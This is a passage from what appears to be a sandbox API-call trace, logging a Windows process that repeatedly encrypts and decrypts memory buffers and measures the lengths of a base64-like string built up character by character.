SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.384] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.384] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.385] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.385] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.385] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.385] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.385] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.385] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.385] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.385] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.385] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.385] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.385] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.385] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.385] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.386] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.386] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.386] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.386] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.386] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.386] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.386] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.386] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.386] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.386] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.387] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.387] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.387] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.387] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.387] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.387] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.387] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.387] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.387] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.387] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.387] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.387] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.388] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.388] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.388] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.388] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.388] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.388] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.388] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.388] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.388] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.389] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.389] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.389] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.389] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.389] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.389] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.389] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.389] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.389] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.389] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.389] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.389] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.389] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.390] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0138.390] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0138.390] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0138.390] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0138.390] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0138.390] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0138.390] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.390] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0138.390] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.391] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0138.391] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.391] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.391] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0138.391] SystemFunction041 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.391] SystemFunction040 (in: Memory=0x8ec0244, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec0244) returned 0x0 [0138.391] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.391] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.391] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.391] SystemFunction040 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.391] SystemFunction041 (in: Memory=0x8e310ac, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e310ac) returned 0x0 [0138.392] SystemFunction040 (in: Memory=0x8e310ac, 